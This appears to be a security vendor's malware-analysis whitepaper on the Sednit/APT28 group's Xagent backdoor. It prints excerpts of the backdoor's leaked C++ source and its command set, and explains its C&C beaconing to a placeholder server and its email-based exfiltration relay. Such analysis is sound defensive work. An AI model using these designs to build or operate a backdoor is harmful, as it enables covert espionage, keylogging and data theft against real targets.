En Route withPart 2: Observing the Comings and Goings
Version 1.0 • October 2016

En Route with Sednit
Part 2: Observing the Comings and Goings
Version 1.0 • October 2016

Table of Content
Executive Summary

5

Introduction

6

The Sednit Group

6

The Second Part of the Trilogy

7

Attribution

8

Publication Strategy

8

Xagent: Backdoor Specially Compiled for You

10

Identikit

10Timeline

11

Context

12

Initialization

14

Modules

15

Communication Channels

21

Conclusion and Open Questions

27

Sedreco: The Flexible Backdoor

28

Identikit

28

Context

29

Dropper Workflow

29

Payload Workflow

30Conclusion and Open Questions

35

Xtunnel: Reaching Unreachable Machines36

Identikit

36

Timeline

37

Big Picture38

Traffic Proxying

39

Additional Features

42

Conclusion and Open Questions

45

Closing Remarks

46

Indicators of Compromise

47

Xagent47

Sedreco48

Xtunnel49

References

51

List of Tables
Table 1.

Xagent version 2 Linux modules

15

Table 2.

AgentKernel accepted commands

20

Table 3.

Xagent version 2 Linux channels

21

Table 4.

Sedreco payload commands

31

Table 5.

Xtunnel Parameters

43

List of Figures
Figure 1.

Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015.

6

Figure 2.

Main attack methods and malware used by the Sednit group since 2014,and how they are related

7

Figure 3.

Xagent major events

11

Figure 4.

Partial directory listing of Xagent source files

12

Figure 5.

Xagent communication workflow

18

Figure 6.

CryptRawPacket data buffer format

19

Figure 7.

URL for GET and POST requests, X.X.X.X being the C&C server IP address

22

Figure 8.

Format of the token value

22

Figure 9.

Proxy server source files

23

Figure 10.

Communication workflow between an Xagent infected computer using
MailChannel and its C&C server, via a proxy server

24

Figure 11.

Email subject generated by the P2 protocol.

25

Figure 12.

Dropper workflow with the developers’ names for each step

29

Figure 13.

Extract of Sedreco configuration. The names of the fields are those createdby ESET’s analysts. Field sizes are in bytes.

30

Figure 14.

Command registration — CMD functions are the commands handlers

31

Figure 15.

Data flow between Sedreco on a compromised host and its C&C server

32

Figure 16.

Network contact message format. Computer name is a variably-sized field

32

Figure 17.

Inbound file format. Field sizes are in bytes

33

Figure 18.

Outbound file format. Field sizes are in bytes

33

Figure 19.

Extract of LZW algorithm C source code

34

Figure 20.

Plugin Init export

35

Figure 21.

Plugin UnInit export

35

Figure 22.

XTunnel major events

37

Figure 23.

Xtunnel core behavior

38

Figure 24.

Xtunnel communication workflow

39

Figure 25.

Extract of T initialization code40

Figure 26.1

Message to open tunnel 0x100 on IP address 192.168.124.1 and port 4545

41

Figure 26.2

Message to open tunnel 0x200 on domain name test.com and port 4646

41

Figure 27.1

Xtunnel CFG before obfuscation

44

Figure 27.2

Xtunnel CFG after obfuscation

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En Route with Sednit

Executive Summary
The Sednit group — also known as APT28, Fancy Bear and Sofacy — is a group of attackers
operating since 2004 if not earlier and whose main objective is to steal confidential informationfrom specific targets.
This is the second part of our whitepaper “En Route with Sednit”, which covers the Sednit’s group
activities since 2014. Here, we focus on Sednit’s espionage toolkit, which is deployed on targets
deemed interesting after a reconnaissance phase (described in the first part of the whitepaper).
The key points described in this second installment are the following:• The Sednit group developed two different spying backdoors for long term monitoring,
named Sedreco and Xagent, in order to maximize the chance of avoiding detection• The Xagent backdoor can communicate with its C&C server over email with a custom
protocol, which in some cases is based on Georgian words• The Sednit group developed a network proxy tool, named Xtunnel, to effectively transform
a compromised computer into a network pivot, in order to contact machines that are normallyunreachable from the Internet• The Xagent source code, the Xagent C&C server configuration, and the Xtunnel binaries
all contain traces of Russian, strongly reinforcing the hypothesis that this is the language
employed by the Sednit group’s members
For any inquiries related to this whitepaper, contact us at: threatintel@eset.com

45

En Route with Sednit

Introduction
Readers who have already read the first part of our Sednit trilogy might want to skip the following section(duplicated from the previous part) and go directly to the specific introduction of this second part.

The Sednit GroupThe Sednit group — variously also known as APT28, Fancy Bear, Sofacy, Pawn Storm, STRONTIUM
and Tsar Team — is a group of attackers operating since 2004 if not earlier, whose main objective
is to steal confidential information from specific targets. Over the past two years, this group’s activity
has increased significantly, with numerous attacks against government departments and embassies
all over the world.
Among their most notable presumed targets are the American Democratic National Committee [1],the German parliament [2] and the French television network TV5Monde [3]. Moreover, the Sednitgroup has a special interest in Eastern Europe, where it regularly targets individuals and organizations
involved in geopolitics.
One of the striking characteristics of the Sednit group is its ability to come up with brand-new 0-day [4]vulnerabilities regularly. In 2015, the group exploited no fewer than six 0-day vulnerabilities, as shownin Figure 1.
CVE-2015-3043

CVE-2015-2590

CVE-2015-1701

CVE-2015-4902

Flash

Java

Windows LPE

APR

MAY

CVE-2015-7645
FlashJava click-to-play bypass

JUN

JUL

AUG

SEP

OCT

CVE-2015-2424
Office RCE

Figure 1.

Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015

This high number of 0-day exploits suggests significant resources available to the Sednit group, either
because the group members have the skills and time to find and weaponize these vulnerabilities,
or because they have the budget to purchase the exploits.
Also, over the years the Sednit group has developed a large software ecosystem to perform
its espionage activities. The diversity of this ecosystem is quite remarkable; it includes dozens
of custom programs, with many of them being technically advanced, like the Xagent and Sedreco
modular backdoors (described in the second part of this whitepaper), or the Downdelph bootkit
and rootkit (described in the third part of this whitepaper).
We present the results of ESET’s two-year pursuit of the Sednit group, during which we uncovered
and analyzed many of their operations. We split our publication into three independent parts:
1.

“Part 1: Approaching the Target” describes the kinds of targets the Sednit group is after,
and the methods used to attack them. It also contains a detailed analysis of the group’s
most-used reconnaissance malware.

46

En Route with Sednit

2. “Part 2: Observing the Comings and Goings” describes the espionage toolkit deployed on sometarget computers, plus a custom network tool used to pivot within the compromisedorganizations.
3. “Part 3: A Mysterious Downloader” describes a surprising operation run by the Sednit group,
during which a lightweight Delphi downloader was deployed with advanced persistence
methods, including both a bootkit and a rootkit.
Each of these parts comes with the related indicators of compromise.

The Second Part of the Trilogy
Figure 2 shows the main components that the Sednit group has used over the last two years,
with their interrelationships. It should not be considered as a complete representation of theirarsenal, which also includes numerous small custom tools.
ATTACKMETHODS

SedkitFIRST-STAGE
MALWARE

Seduploader
dropper

SECOND-STAGE
MALWARE

Seduploader
payloadSedrecodropper

SedrecopayloadPIVOT
MALWARE

XtunnelUsbstealer
Emailattachments
Downdelph

XagentFake webmail
login panels
En Route with
SednitPart 1Figure 2.

En Route
with Sednit
Part 3

En Route
with Sednit
Part 2Main attack methods and malware used by the Sednit group since 2014,and how they are related

We divide Sednit’s software into three categories: the first-stage software serves for reconnaissanceof a newly compromised host, then comes the second-stage software intended to spy on machinesdeemed interesting, while the pivot software finally allows the operators to reach other computers.
In this second part, we focus on Sednit’s espionage toolkit, which serves for long term monitoringof compromised computers. The components described in this second part are outlined in bluein Figure 2, which includes the two spying backdoors Sedreco and Xagent, and the network
tool Xtunnel.
The usual workflow of Sednit’s operators is to deploy both Sedreco and Xagent on a newlycompromised computer, after a reconnaissance phase with first-stage malware (Seduploader,
described in the first part of this whitepaper, or Downdelph, described in the third part). Deploying
both spying backdoors at the same time allows them to remain in contact if one of them becomesdetected. The network tool Xtunnel comes later, in order to reach other accessible computers.

47

En Route with Sednit

All the components shown in Figure 2 are described in this whitepaper,with the exception of Usbstealer, a tool to exfiltrate data from air-gappedmachines that we have already described at WeLiveSecurity [5]. Recent
versions have been documented by Kaspersky Labs [6] as well.

Readers who have already read the first part of our Sednit trilogy may skip the following sections
and go directly to Xagent’s analysis.

Attribution
One might expect this reference whitepaper to add new information about attribution. A lot has
been said to link the Sednit group to some Russian entities [7], and we do not intend to add anything
to this discussion.
Performing attribution in a serious, scientific manner is a hard problem that is out of scopeof ESET’s mission. As security researchers, what we call “the Sednit group” is merely a set of softwareand the related network infrastructure, which we can hardly correlate with any specific organization.
Nevertheless, our intensive investigation of the Sednit group has allowed us to collect numerous
indicators of the language spoken by its developers and operators, as well as their areas of interest,
as we will explain in this whitepaper.

Publication Strategy
Before entering the core content of this whitepaper, we would like to discuss our publication strategy.
Indeed, as security researchers, two questions we always find difficult to answer when we write
about an espionage group are “when to publish?”, and “how to make our publication useful to those tasked
with defending against such attacks?”.
There were several detailed reports on the Sednit group published in 2014, like the Operation Pawn
Storm report from Trend Micro [8] and the APT28 report from FireEye [9]. But since then the public
information regarding this group has mainly came in the form of blog posts describing specificcomponents or attacks. In other words, no public attempts have been made to present the big
picture on the Sednit group since 2014.
Meanwhile, the Sednit group’s activity has significantly increased, and its arsenal differs from thosedescribed in previous whitepapers.
Therefore, our intention here is to provide a detailed picture of the Sednit group’s activities overthe past two years. Of course, we have only partial visibility into those activities, but we believethat we possess enough information to draw a representative picture, which should in particularhelp defenders to handle Sednit compromises.
We tried to follow a few principles in order to make our whitepaper useful to the various typesof readers:• Keep it readable: while we provide detailed technical descriptions, we have tried tomake them readable, without sacrificing precision. For this reason we decided to split
our whitepaper into three independent parts, in order to make such a large amount of
information easily digestible. We also have refrained from mixing indicators of compromisewith the text.
• Help the defenders: we provide indicators of compromise (IOC) to help detect current Sednit
infections, and we group them in the IOC section and on ESET’s GitHub account [10]. Hence,
the reader interested only in these IOCs can go straight to them, and find more context
in the whitepaper afterwards.

48

En Route with Sednit• Reference previous work: a high profile group such as Sednit is tracked by numerous entities.
As with any research work, our investigation stands on the shoulders of the previous
publications. We have referenced them appropriately, to the best of our knowledge.
• Document also what we do not understand: we still have numerous open questions
regarding Sednit, and we highlight them in our text. We hope this will encourage fellow
malware researchers to help complete the puzzle.
We did our best to follow these principles, but there may be cases where we missed our aim.
We encourage readers to provide feedback at threatintel@eset.com, and we will update
the whitepaper accordingly.

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En Route with Sednit

Xagent: Backdoor Specially Compiled for You

Identikit
Xagent is a modular backdoor with spying functionalities
such as keystroke logging and file exfiltration.
Alternative Names
SPLM, CHOPSTICK
Usage
Xagent is the flagship backdoor of the Sednit group, deployedby them in many of their operations over the past two years.
It is usually dropped on targets deemed interesting by the operators
after a reconnaissance phase, but it has also been used as first-stage
malware in a few cases.
Known period of activity
November 2012 to August 2016 (the time of this writing). Probably
still in use.
Known deployment methods• Downloaded by Downdelph• Downloaded by Sedkit• Dropped by Seduploader dropper• Downloaded by Seduploader payload
Distinguishing characteristics• Xagent is developed in C++ with a modular architecture,around a core module named AgentKernel• Xagent has been compiled for Windows, Linux and iOS(at least)• Xagent possesses two different implementations of its C&C
communication channel, one over HTTP and the other overemails (SMTP/POP3 protocols)• Xagent binaries are often compiled for specific targets, witha special choice of modules and communication channels

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En Route with Sednit

Timeline
The dates posited in the timeline mainly rely on Xagent compilation timestamps, which we believe
have not been tampered with because they match up with our telemetry data. These dates may
be later than the actual events though, as we do not have all Xagent samples, but enoughare present to give a good approximation. In particular, we dated the appearance of Xagent
as independent malware in November 2012, but fellow malware researchers reported to us privatelythat parts of its code were used before that.

2012

2014

2014

Introduction of Xagent
version 1 for Windows

Introduction of Xagent
version 2 for both Linuxand Windows

Xagent deployedwith Sedkit exploit kit [11]NovemberFebruary

September

2014

December

Introduction of Xagent
version 3 for Windows;
Modules now haveobfuscated Run-Time Type
Information (RTTI) [12] .

2016

2015

2015

Xagent found on
the servers of the
Democratic National
Committee (DNC)

Introduction of Xagent
version 3 for Linux

Xagent for iOS foundby Trend Micro [13]May

Figure 3.

DecemberFebruary

Xagent major events51

En Route with Sednit

Context
During our investigations, we were able to retrieve the complete Xagent source code for the Linux
operating system. To the best of our knowledge, this is the first time this Xagent source code
has been found and documented by security researchers.
This source code is a fully working C++ project, which was used by Sednit operators to compile
a binary in July 2015 (at least). The project contains around 18,000 lines of code among 59 classes;a partial directory listing of the source files is shown in Figure 4.

Figure 4.

Partial directory listing of Xagent source files

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En Route with Sednit

We believe the Linux source code is derived from the Windows version of Xagent. In other words,
OS-specific operations have been re-implemented, but the core logic remains the same on both
platforms. As an example of this lineage, the following code snippet shows some Windows API calls
for thread termination commented out by the developers, and replaced with a call to the Linuxpthreads [14] interface.
if(handleGetPacket != 0){
pthread_exit(&handleGetPacket);//TerminateThread(handleGetPacket, 0);//CloseHandle(handleGetPacket);}According to its internal version numbering, this source code is version 2 of Xagent, while currently
distributed Windows and Linux binaries are version 3. Nevertheless, there appear to be only minor
differences between the two versions, and the source code matches the core logic of the most recent
samples on both Windows and Linux platforms. Also, the iOS version of Xagent found by Trend
Micro [13] — not documented in this white paper — is based on this source code, according
to our own analysis.
Therefore, we decided to present an analysis of Xagent mainly based on the source code,and not on binaries, to ease the explanations.
In order to facilitate the reading of the source code, we made the following syntactic choices:• Parts of the code not relevant to our analysis have been replaced by […​]• As the code is heavily commented by its developers, we decided to leave those comments
untouched. For the reader this comes at the price of enduring poorly-worded English
comments, but this allows a finer understanding of what the developers were thinking.
• Our own comments on the code appear after the snippets, and are indicated by numbered tags
• When the developers’ comments are in Russian, we added the translation in the formof /* Translates to: …​*/

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En Route with Sednit

Initialization
We begin our journey through Xagent source code in the file main.cpp in the function
startXagent(), which contains the instantiations of the main objects, as shown below.
int startXagent(wstring path){[...]
AgentKernel krnl( (wchar_t *)path.c_str() ); ➊IAgentChannel* http_channel = new HttpChannel(); ➋//IAgentChannel* smtp_channel = new MailChannel();IAgentModule* remote_shell = new RemoteShell(); ➌IAgentModule* file_system = new FSModule();//IAgentModule* key_log = new RemoteKeylogger();krnl.registerChannel(http_channel); ➍//krnl.registerChannel(smtp_channel);
krnl.registerModule(remote_shell);krnl.registerModule(file_system);//krnl.registerModule(key_log);
krnl.startWork(); ➎
}

[...]

➊ Instantiation of an AgentKernel object, called “kernel” hereafter, which is the Xagent
execution manager.
➋ Instantiation of an IAgentChannel object, called “channel” hereafter, which is the meansof communication with the C&C server. The source code contains two different channel
implementations, one over HTTP and one over email. Here the developers have commented
out the email channel instantiation.
➌ Instantiations of several IAgentModule objects, called “modules” hereafter, which implement
Xagent functionalities. Here the developers have commented out the keylogger
module instantiation.
➍ Calls to the AgentKernel::registerChannel() and AgentKernel::registerModule()
methods, through which the kernel starts managing these modules’ executions, and passtheir communications through the registered channel. Registrations of the unused channel
and module are commented out.
➎ Call to the AgentKernel::startWork() method, which creates execution threads
on the worker methods of each registered module and channel.
Commenting out module and channel instantiations is a strategy we previously observed whenanalyzing Xagent binaries. Each sample does indeed come with a specific combination of modules
and channels, even though the Xagent kernel is completely capable of managing all of themin parallel (including multiple channels).
By doing so, operators probably intend to adapt Xagent binaries for specific targets, and avoid
exposing the whole Xagent code to security researchers. Moreover, operators may still deploy
additional modules and channels during execution, as we will explain later.

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En Route with Sednit

Modules
The core Xagent functionalities lie in its modules. As shown in the startXagent() snippet,
Xagent Linux source code contains three modules, plus the kernel which is itself also a module.
These modules are listed in Table 1:
Table 1.

Xagent version 2 Linux modules

Name

ID

PurposeName of equivalent module
on Windows

AgentKernel

0x0002

Manages Xagent execution and relay
communications between the modules
and the C&C server

AgentKernel

RemoteKeylogger

0x1002

Logs keystrokes

ModuleRemoteKeyLogger

FSModule

0x1122

Provides wrappers for file system
operations (find, read, write, execute, etc)

ModuleFileSystem

RemoteShell

0x1302

Executes supplied commands in Linuxcommand-line interpreter /bin/shProcessRetranslatorModule

As shown in the second column, each module is identified by a 2-byte ID, which is a combinationof a version number and a module identifier. For example, when AgentKernel ID is set to 0x0002,
it corresponds to version 2 and the module numbered 0.

Currently distributed Xagent binaries possess a kernel ID of 0x3303,
thus corresponding to kernel version 3 and the module — strangely — numbered 33. The oldest Xagent versions had a kernel ID of 0x0001.

Each Linux Xagent module has an equivalent module in the Windows version, as shown in the fourthcolumn of Table 1 (Windows names come from Run-Time Type Information (RTTI) [12] left in somebinaries). Due to operating system peculiarities, the module implementations differ between
Windows and Linux, but their IDs and the commands they accept are the same.
In the following section, we will present an in-depth description of the kernel module, leaving aside
the other, more straightforward, modules.

While recent versions of Xagent for Windows only have the modules
described in Table 1, older versions have been seen with additional modules,
such as:• DirectoryObserverModule, which monitors all mounted volumes for files
with specific extensions (.doc, .docx, .pgp, .gpg, .m2f, .m2o)• ModuleNetFlash, which monitors removable drives for C&C messages,
in a similar way to Usbstealer [5]• ModuleNetWatcher, which maps network resources

55

En Route with Sednit

KernelAs described in Table 1, AgentKernel is the execution manager, and the only modulethat has to be present in all Xagent binaries.

Constructor
Our analysis of AgentKernel begins in its constructor:
AgentKernel::AgentKernel(wchar_t *path_Xagent){[...]local_storage_ = new LocalStorage(path_Xagent); ➊[...]cryptor_ = new Cryptor(kernel_main_crypto_key, sizeof(kernel_main_crypto_key)); ➋[...]channel_controller_ = new ChannelController(this); ➌reserved_ = new ReservedApi(); ➍
[...]

}

modules_.insert(modules_.begin(), this); ➎➊ Instantiation of a LocalStorage object, which is the kernel store. It contains botha file-based storage for the communications with the C&C server, and an SQLite3 [15]database to store various configuration parameters.
➋ Instantiation of a Cryptor object, which is the cryptographic engine of the kernel.
It will serve in particular to encrypt the communications with the C&C server.
➌ Instantiation of a ChannelController object, which is the interface to contact
the C&C server, as we will explain later.
➍ Instantiation of a ReservedApi object. It implements some helper functions used by the kernel,
like ReservedApi::initAgentId() to generate a 4-byte ID for the Xagent infected computer.
➎ The kernel being a module, it inserts itself in the list of modules whose execution will be managed.
In the kernel constructor code and elsewhere, important strings are accessed through a classnamed Coder, which is a wrapper around an encrypted string. The string is then decrypted on-demandby an exclusive-or (XOR) with a key defined at the time the Coder object was instantiated.

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En Route with Sednit

For example, in the following code snippet KERNEL_PATH_MAIN_KEY is the encrypted string
and mask the key, while the decrypted string is then retrieved by calling the method
Coder::getDencodeAscii() [sic].
Coder* coder = new Coder((u_char *)KERNEL_PATH_MAIN_KEY,									sizeof(KERNEL_PATH_MAIN_KEY), mask, sizeof(mask) );string name_bd = coder->getDencodeAscii();

This mechanism theoretically allows Xagent to keep strings encrypted until they are used.
Nevertheless, a macro in the source code allows them to be left unencrypted (the key in Coder
being forced to zeros), which is actually the case in all Linux binaries we analyzed. On the other
hand, the Coder class is indeed used with encrypted strings in Windows Xagent.

The kernel constructor code refers to some configuration parameters whose
values are hardcoded in the header file AgentKernel.h. The definitionsof these parameters appear to have been automatically extracted froma XML file, as shown for example below for the Xagent mutex name.
/* <xmlblok config=”MESSAGE” type=”u_char”><![CDATA[ */ static /*]]> *//* <type><![CDATA[ */ wchar_t /* ]]> */ /* </type> *//* <static><![CDATA[ */ MUTEX_OF_XAGENT [] = /* ]]></static>*//* <config operation=”L’unicode’={byte}”><![CDATA[L”XSQWERSystemCriticalSection_for_1232321” /* ]]> */ ; /* </config> *//* </xmlblok> */57

En Route with Sednit

Core Logic
As for all modules, the core logic of the kernel lies in its run() method, on which an execution thread
has been created by the previously described startWork() method. The purpose of the kernel run()method is to relay the communications between the modules and the C&C server, as shown in Figure 5,
and as described below.
Modules
AgentKernel::giveMessage()

AgentKernel::run()

AgentKernel::takeMessage()
Reports to C&C server
the list of installed modules

RemoteShell::giveMessage()
RemoteShell::takeMessage()

Fetches messages frommodules for the C&C server

FSModule::giveMessage()
FSModule::takeMessage()

Fetches messages
from C&C server for modules

RemoteKeylogger::giveMessage()
RemoteKeylogger::takeMessage()

AgentKernel::translateToModule()

AgentKernel::translateToController()

1. Decrypts message
2. Transfer to intended module

1. Encrypts message
2. Stores it into LocalStorage_get_questions(C++ vector)

Local Storage(File on harddrive)

ChannelController::getDataToServer()

ChannelController::sendDataToServer()If there is an inboundpacket in currently selectedchannel, writes it into
_get_questions vector

If currently selectedchannel is not working,switch to another channel

Fetches message from
LocalStorage

IAgentChannel::getRawPacket()Sends it through currently
selected channel

IAgentChannel::sendRawPacket()

LegendData flow
Unencrypted messages(ModuleMsg objects)
Data flow
Encrypted messages(CryptRawPacket objects)

C&C Serverconnected to Internet

Figure 5.

Xagent communication workflow

58

Control flow
C++ method

En Route with Sednit

Hello Message
First things first, AgentKernel::run() reports the list of installed modules to the C&C server.
More precisely, the kernel behaves as if it had received a command called PING_REQUEST fromthe C&C server (the kernel’s commands will be described in the following section). It then builds
a report in a ModuleMsg object, which is the class encapsulating messages to or from modules,
and whose important fields are shown in the following code snippet.
class ModuleMsg{
private:// ID агента от/кому предназначено сообщение
/* Translates to: The agent ID from/to whom the message is intended */int agentId;// ID модуля от/кому предназначено сообщение
/*Translates to: The module ID from/to whom the message is intended */u_short modId;// ID команды, которую выполнил модуль или которую нужно выполнить
/* Translates to: ID of the command that was executed, or will be executed */u_char cmdId;// Указатель на память, где лежат данные команды
/* Translates to: Pointer to the memory where data are */u_char* data;[...]}

In this report message the modId field is set to the kernel ID 0x0002, cmdId to PING_REQUEST,
and data points to the list of installed module IDs separated by the character #.
The ModuleMsg object is then passed to the AgentKernel::translateToController() method,which takes charge of its encryption, resulting in a CryptRawPacket object. This object just contains
a pointer to a buffer whose format is described in Figure 6.
Header0

4

Agent ID

n-15

8Checksum

Serialized ModuleMsg

n-4

DATA_TOKENn

RC4 register

LegendUnencrypted text dataRC4-encrypted data

Figure 6.

CryptRawPacket data buffer format

The buffer starts with a header composed of the agent ID and a checksum calculated on the restof the data. This checksum is a 2-byte cyclic redundancy check (CRC) [16] calculated on the datawith a 2-byte pseudo-randomly generated polynomial. These two values are appended to each otherto form the checksum field 4-byte value.

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En Route with Sednit

Then comes the serialized ModuleMsg object followed by an 11-byte value named DATA_TOKEN, bothRC4-encrypted. The DATA_TOKEN value is hardcoded in the source code and probably serves to checkthe integrity of the message during decryption by the C&C server. The key used for RC4-encryption
is the concatenation of a hardcoded 50-byte value and a pseudo-randomly generated 4-byte value,
named register and appended to the encrypted data.

The exact same 50-byte value is used to form an RC4-key, also witha “register”, in Downdelph and Seduploader.

As shown in Figure 5, the resulting buffer is written into a file maintained by the LocalStorage
object. The encrypted data are then retrieved from this file and sent to the C&C serverby the ChannelController::sendDataToServer() method, through the currently selectedchannel (channel implementation will be described in the next section).

Communications Loop
As shown in Figure 5, AgentKernel::run() then enters in an infinite loop relaying communications
between the modules and the C&C server:• It fetches ModuleMsg objects from the modules, which are then transmitted to the C&C serverby the process previously described for the initial report. For example, the RemoteKeylogger
module regularly sends a message containing the captured keystrokes to the C&C server.
• It retrieves CryptRawPacket objects sent by the C&C server from a C++ vector dubbed _get_
questions and filled by the ChannelController::getDataFromServer() method. Thoseobjects are decrypted and deserialized into ModuleMsg objects, which are then transmitted
to the intended module. For example, the C&C server can send a message with the command
START for the RemoteKeylogger module, which then begins its keylogging activity.

Accepted Commands
The kernel accepts 12 different commands from the C&C server, as listed in Table 2. In practice thesecommands are integer values corresponding to macros defined in the source code.
Table 2.

AgentKernel accepted commands

Name

Integer Purpose
Value

GET_AGENT_INFO

1

Reports IDs and settings of modules and channels to the C&C server

PING_REQUEST

2

Reports IDs of modules to the C&C server

CHANGE_PING_TIMEOUT

31

Sets the parameter defining the amount of time to wait before initiallycontacting the C&C server to the given value

CHANGE_STEP_TIME

32

Sets the parameter defining the amount of time to wait between
two attempts to reach the C&C server to the given value

SET_PARAMETERS

33

Saves the two previous parameters current values into the LocalStorage
SQLite3 database, such that those values will be re-used at next startup

CHANGE_CHANNEL

41

Changes the currently selected channel to the channel identified
by the given ID (see next section for details on the channels)

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Name

Integer Purpose
Value

CHANNEL_SET_PARAMETERS

42

Changes the settings of the channel identified by the given ID.
For example, it may be used to change the C&C server address.

LOAD_NEW_MODULE

51

Instantiates an IAgentModule object from the given data, andregisters this new module with the kernel

UNLOAD_MODULE

52

Unloads the module identified by the given ID

LOAD_NEW_CHANNEL

53

Instantiates an IAgentChannel object from the given data,
and registers this new channel with the kernel

UNLOAD_CHANNEL

54

Unloads the channel identified by the given ID

UNINSTALL_XAGENT

61

Kills the Xagent process (no uninstallation procedure implemented)

Communication Channels
The ChannelController object is in charge of contacting the C&C server through the currently
selected communication channel, as shown in Figure 5. This controller is unaware of the underlying
implementation of the channel, and can use for that purpose any object implementing the abstractclass named IAgentChannel.
The Linux source code contains two channels, one using HTTP and one using emails, as describedin Table 3.
Table 3.

Xagent version 2 Linux channels

Name

ID

Network Protocols

Name of equivalent channel
on Windows

HttpChannel

0x2102HTTP

WinHttp

MailChannel

0x2302

SMTP to send emails and POP3
to receive emails (over TLS)

AgentExternSMTPChannel(only to send emails)

Each channel is identified by a 2-byte ID similar to the previously described module ID. There exists
an implementation for the HTTP-based channel on Windows, while we only found a channel to send
emails, without the ability to receive emails, on this platform.
By implementing the IAgentChannel abstract class, the channels provide a getRawPacket()method to fetch a message from the C&C server, and a sendRawPacket() method to senda message to the C&C server. As previously explained, those messages are CryptRawPacket objects.
We describe in this section the implementations of these methods for the two Linux channels.

While Xagent samples usually come with only one channel, the ChannelController object can manage several of them in parallel. In particular it
will automatically switch to a different channel — if there is one — in case thecurrently selected one is broken, as shown in Figure 5. Additionally, the operators can deploy a completely new channel through the previously described
LOAD_NEW_CHANNEL kernel command.

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HttpChannel
The HttpChannel::getRawPacket() method is implemented as a HTTP GET request — the message
from the server being then in the HTTP answer body — while HttpChannel::sendRawPacket()is an HTTP POST request, whose body contains the message. The C&C IP address is hardcodedin the associated header file HttpChannel.h.
Both GET and POST requests are done on a URL following the format pictured in Figure 7.

Series of randomly
chosen charactersfrom base64 alphabet

Chosen among
7 possible values

Encodedagent ID

http://X.X.X.X/path/?parameter1=value1&parameter2=value2&...&mark-token&...
Chosen among
15 possible values

Figure 7.

Set to “ai” in Linuxsource code

URL for GET and POST requests, X.X.X.X being the C&C server IP address

Roughly summarized, this URL is a series of pseudo-randomly chosen parameters associatedwith pseudo-randomly generated values, except for a special parameter called mark. This special
parameter (whose value is set to ai in the Linux source code) is associated with a so-called token,
which is a 20-byte value encoding the agent ID in the format pictured in Figure 8.
0

5

Junk

16

9

Key

20

URL_TOKEN xor key

Agent ID

LegendRandomly chosen
characters frombase 64 alphabet

Figure 8.

Base64encoded data

Format of the token value

In this token, the Key is pseudo-randomly generated, while URL_TOKEN is hardcoded in the sourcecode and probably serves to check the integrity of the message by the C&C server.
The bodies of the POST requests, and of the responses to GET requests, follow exactly the sameformat as the token, except that they contain a CryptRawPacket object in place of the agent ID.
Also, the hardcoded value is a different one, called DATA_TOKEN by the developers.

MailChannel
The MailChannel object is an implementation of Xagent communication channel over emails,
where messages are sent and received as attachments to emails.
During an investigation, we discovered the source code of a proxy server employed to relay traffic
between Xagent infected computers using MailChannel (dubbed “agents” hereafter) and a C&C server.
This source code was left in an open directory on the proxy server, which was then indexedby the Google search engine.

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The proxy code is a set of Python scripts containing more than 12,200 lines of code among 14 files;
the files are shown in Figure 9. It also contains some log files indicating it was in use from April 2015
to June 2015.

$ls -hog
877B
4.8K
6.9K
1.6K
2.6K
5.8K
11K
9.6K
2.3K
2.2K
1.6K
2.4K
745B
2.3K
3.1K
0B
2.9M
12K
1.5K
2.4K
1.6K
4.2K
605B

Figure 9.

27 Feb
14 Apr
14 Apr
27 Feb
7 Apr
27 Feb
7 Apr
16 Apr
7 Apr
7 Apr
7 Apr
7 Apr
27 Feb
14 Apr
14 Apr
6 Apr
19 Jun16 Apr
3 Apr
15 Apr
15 Apr
15 Apr
27 Feb2015 ConsoleLogger.py
2015 FSLocalStorage.py
2015 FSLocalStorage.pyc
2015 FileConsoleLogger.py
2015 FileConsoleLogger.pyc
2015 MailServer.py
2015 MailServer2.py
2015 MailServer3.py
2015 P2Scheme.py
2015 P2Scheme.pyc
2015 P3Scheme.py
2015 P3Scheme.pyc
2015 WsgiHttp.py
2015 XABase64.py
2015 XABase64.pyc
2015 __init__.py
2015 _w3.log
2015 _w3server.log
2015 quickstart.py
2015 settings.py
2015 settings.pyc
2015 w3s.py
2015 wsgi.py

Proxy server source files

As can be seen from the files’ names, the proxy is actually more than a simple relay of communications:
it translates the email channel protocol from the agents into HTTP requests for the C&C server.
Therefore, we decided to include this proxy in our analysis of the email communication channel.
Figure 10 represents the whole communication workflow that will be described in this section.

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Xagent infected computer
ID = 9312312 (fictional)

LegendData flow

MailChannel::sendRawPacket()Control flow

MailChannel::getRawPacket()

P2Scheme(”Level 2 Protocol”)

Email received at
exfil@example.com

Email received atorders@example.com

MailServer.py
For all known agents

Fetch new email

Send “TO” folder content
as email attachment

Validate email subject
if valid

Save attachment in “FROM”
folder of the sender agent
Proxy Server

Storage folders
for agent 9312312
FROM

TO

w3s.pySend “FROM” folder content
to C&C server

Ask C&C server for dataand stores it into “TO” folder

For all known agents

P3Scheme(”Level 3 Protocol”)

C&C Serverconnected to Internet

Figure 10.

Communication workflow between an Xagent infected computer using
MailChannel and its C&C server, via a proxy server

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The proxy source code contains a few unused instructions related to agents
communicating over HTTP, i.e. using HttpChannel rather than MailChannel. Nevertheless, the main class responsible for relaying HTTP traffic
from agents — named W3Server — is absent and its instantiation has beencommented out. Similar to Xagent, the operators therefore seem to deploy
the components of the proxy server only if needed, and this one was intended
to relay MailChannel traffic only.

On the Agent
The MailChannel::sendRawPacket() method is in charge of sending CryptRawPacket objects
as email attachments. For that purpose, the code contains an SMTP server address with an email
address and a password to log in, plus a recipient email address to which the emails will be sent.
Depending on the sample, this recipient email address may belong to a freemail provider, a custom
Sednit domain, or even a hacked target.
Building a C&C protocol over email brings at least two problems for the operators: they need
to be able to distinguish Xagent emails from unrelated emails in the inbox (like spam emails),
and they need to bypass spam filters. To do so, they implemented a protocol named P2Scheme(and dubbed “P2” hereafter), which defines the format of the emails. This protocol is described
as a “level 2 protocol” by the developers, and defines the following email fields:• The email subject is the base64 encoding of a value following the format pictured in Figure 11.

0

5

Key

Figure 11.

12

SUBJ_TOKEN
xor key

16

Agent ID xor
key

Email subject generated by the P2 protocol.

In this format, the Key is pseudo-randomly generated, while SUBJ_TOKEN is a 7-byte value
hardcoded in the source code and strangely containing the string “china” (prefixed with bytes 0x55
0xAA). This specific subject serves to distinguish Xagent emails from unrelated emails in an inbox,
as we will explain.
• The email body and the attachment name are the base64 encodings of pseudo-randomly
generated values.
• The boundary value, used to separate a MIME multipart message in parts [17], is a pseudorandomly generated value.
Nevertheless, in practice only the boundary is actually generated with the P2 protocol, as the code
to generate the others fields has been commented out in the Linux source code. Instead, these fields
